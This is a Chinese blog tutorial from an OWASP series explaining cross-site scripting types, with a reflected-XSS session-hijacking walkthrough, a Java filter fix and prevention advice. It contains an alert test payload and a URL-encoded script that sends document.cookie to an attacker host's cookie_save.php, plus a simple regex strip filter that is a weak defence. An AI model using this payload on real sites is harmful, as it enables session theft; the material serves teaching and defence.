OWASP TOP12之跨站问题(2):

OWASP TOP12  学习与分享:https://blog.csdn.net/libusi001/article/details/103052691

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

一、简介

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载

并执行攻击者恶意制造的网页程序。
    
    这些恶意网页程序通常是JS,也可以是Java、ActiveX、VBscript 、 Flash 或者甚至是普通的HTML。攻

击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种

内容。

跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style 

Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。

    攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意

内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。

跨站脚本是最普遍的Web应用安全漏洞。当应用程序在发送给浏览器的页面中包含用户提供的数据,

但没有经过适当验证或转译,就容易导致跨站脚本漏洞。

攻击者能在受害者浏览器中执行脚本以劫持用户会话、危害网站、插入恶意内容和重定向用户等。

已知三种著名跨站漏洞是:

1)存储式(持久式);
2)反射式;
3)基于DOM(Document Object Model)。

二、攻击原理

    恶意攻击者往web页面中插入恶意HTML代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就

会被执行,从而达到恶意攻击用户的特殊目的。

三、HTML注入示例

    由于 HTML 是用于定义网页结构的语言,如果攻击者可以注入 HTML,它们基本上可以改变浏览器呈现的内

容。有时,这可能会导致页面外观的完全改变,或在其他情况下,创建表单来欺骗用户。

例如,如果你可以注入 HTML,你也许能够将 <form> 标签添加到页面,要求用户重新输入他们的用户名和密

码。然而,当提交此表单时,它实际上将信息发送给攻击者。

四、反射型XSS漏洞:

  一个WEB应用程序使用动态页面传递参数向用户显示错误信息,这种页面使用一个包含消息文本的参数,

并在页面加载时将文本返回给用户。

    对于我们开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,

使用一个定制好的信息提示页面。
例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:

http://fovweb.com/xss/message.php?send=Hello,World!

在原程序的URL的参数为,替换为我们用来测试的代码:

http://fovweb.com/xss/message.php?send=<script>alert(‘xss’)</script>

反射型XSS漏洞的攻击步骤:

    利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
利用反射型XSS漏洞进行会话权限劫持的攻击步骤。

(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
Set-cookie:sessionId = f16e1035c301aa099c971682d806c0c7
(2) 攻击者将含有攻击代码的URL发送给被攻击人;
http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write
(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php
%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E
(3) 用户打开攻击者发送过来的ULR;
(4) Web应用程序执行用户发出的请求;
(5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
(6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
(7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录。

        反射式跨站脚本通过测试或代码分析很容易找到。

五、持久型XSS漏洞:

 
    攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。

因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。

    存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

了解xss漏洞的原理,已及相应的payload的构造,

通过基础的网站编辑语言做一个简单的演示。

下面举个例子:一个网站留言板。

持久型XSS漏洞:

通过上图输入字符,查看下图,发现输入的内容在p class中没做任何的处理。

也就是前端输入什么,后端录入什么。

这是一个简单的js脚本,当它从前端被提交到后台,后台将它保存下来后会重新再页面上刷新后显示处理。

解决存储型Xss漏洞:

使用过滤器,并对请求数据进行过滤,重写getParameter(String str)方法。
第一步,编写过滤器,实现Filter接口;
第二步,继承HttpServletRequestWrapper,重写方法getParameterMap,替换非法字符;
第三步,web.xml注册过滤器.
下面是参考的工具类:
替换为空,或者转义。CSDN的是进行转义,比如文字开头的"<"转成&lt;
public static String striptXSS(String value) {
        if (value != null) {
            value = value.replaceAll("", "");      
            Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            此处省略...
                   }
        return value;
    }

六、防范措施

1、验证输入

检查每个输入的有效性,主要检查输入类型和数据的长度。

2、编码输出

对验证输入的另一面就是编码输出。编码输出是指确保字符被视为数据,而不是作为HTML元字符被浏览器解析。
这些技术定义一些特殊的“转义”字符,没有正确转义的数据它仍然会在浏览器中正确解析。
编码输出只是让浏览器知道数据是不是要被解析,达到攻击无法实现的目的。
需要编码的部分:HTML实体、HTML属性、JavaScript、CSS、URL。

有用请点赞,养成良好习惯!

有用,疑问,交流,鼓励请留言!

欢迎大家继续补充!

 

 

版权声明:本文为libusi001原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/libusi001/article/details/103227171

智能推荐

德慎思信息安全-OWASP 系列之注入漏洞(上)

OWASP 系列之注入漏洞(下) 摘要 上一期,我们介绍了注入漏洞中常见的 SQL 注入漏洞,主要内容是以 MySQL 为例介绍了 SQL注入的基本原理,并举例了几个常见的注入手法与原理。本期我们来介绍其他的一些注入手法与原理、 SQL injection 接上期 检查数据库信息 检查数据库类型与版本 我们习惯上简称为数据库管理系统为数据库,对于数据库管理系统来说分很多类型,每一种查询方法都不一样...

ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)

本博文翻译自: https://dotnetcoretutorials.com/2017/10/25/owasp-top-10-asp-net-core-cross-site-scripting-xss/ 在这篇文章的前几次迭代中,我用了一个很长的篇幅解释了什么是跨站脚本(XSS)。但在花了好几个小时来完善它之后,我觉得向你展示一个简单的屏幕截图就更容易了。 这例子很简单。我有一个用户的&ldqu...

Mybatis源码的下载,搭建以及阅读源码的姿势

源码下载 mybatis的源码是在github上开源的,所以直接从github上搜索下载即可。 如上图,第一个就是mybatis3的源码项目,下面几个也是项目中常用的依赖项目,分页插件pagehelper,SSM项目需要引入的依赖mybatis-spring,mybatis-plus项目等。 当前最新版本是v3.5.5,可以选择合适的版本下载。我本地选择的是v3.5.4版本,小版本之间没有太大差异...

spring cloud + redis RedisTemplate Api搭建简单Demo

简介 Redis是一种NoSQL数据库,即非关系型数据库。redis是一个key-value存储系统。它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,r...

c++在windows、linux下获取指定文件夹下所有文件名的方法

一般来说,获取指定文件夹下的所有文件名,用python是较为方便的,直接: import os files_name = os.listdir(“一个路径”) 但也有c++程序偶尔也有这个需求,下面就直接上c++在windows和linux去读取文件夹下文件名的方法,不同的系统代码上有一些差别 Windows(vs) vs的环境,主要是用到了头文件<io.h>,...

猜你喜欢

计算机图形学实验一绘制任意斜率的直线段

一、实验目的 (1)掌握任意斜率直线段的重点 Bresenham 扫描转换算法; (2)掌握 Cline 直线类的设计方法; (3)掌握状态栏编程方法。 二、实验步骤 (1)创建MFC应用程序 (2)定义CLine类   添加消息处理的处理程序   三、实验结果   四、实验体会 在本次实验中,通过不断的探索和实践,我学会了如何创建一个MFC应用程序,将理论运用于实践...

CSS盒模型

盒子模型 盒子模型是什么 CSS盒子模型就是在CSS技术所使用的一种思维模型。CSS假定所有的HTML文档元素都生成一个描述该元素在HTML文档布局中所占空间的矩形元素框,可以形象地将其看作是一个盒子。通过定义一系列与盒子相关的属性,可极大地丰富和促进各个盒子乃至整个HTML文档的表现效果和布局结构。CSS盒子模型由内容区、填充、边框和空白边四部分组成。内容区是盒子模型的中心,呈现盒子的主要信息内...

通用分页

通用分页 我们从数据库里面拿到的数据要进行分页首先需要连接到数据库 这些类是不能少的;这是获得数据库对象的类 pageBean 首先我们需要把想要分页的属性进行一个封装,一个分页的工具类 BookDao 然后我们需要一个dao方法 ,就以BookDao 为案列 我们需要继承baseDao通用dao方法进行一个分页实现(BaseDao在后面) BaseDao 这个是通用的dao方法 实体类进行分页实...

VS2013调试X64平台时出现MSVSMON.EXE failed to start的问题

1.问题 vs2013突然有一天调试X64平台程序时出现“Visual Studio Remote Debugging Monitor(MSVSMON.EXE)failed to start”的问题,如下图所示。如果切换为X86平台可以编译通过。网上搜了好多方法都没有解决问题。              ...

HTTP与HTTPS的区别

原创 天才程序YUAN 最后发布于2020-03-22 00:00:29 阅读数 886 收藏 发布于2020-03-22 00:00:29 分类专栏: 实习 收起 《计算机网络自顶向下方法》学习专栏 涵盖《计算机网络自顶向下方法》的知识点,实验和经典习题。按内容可分为计算机网络概述、应用层、传输层、网络层和数据链路层。实验包括HTTP 代理服务器的设计与实现、GBN 协议的设计与实现、利用 Wi...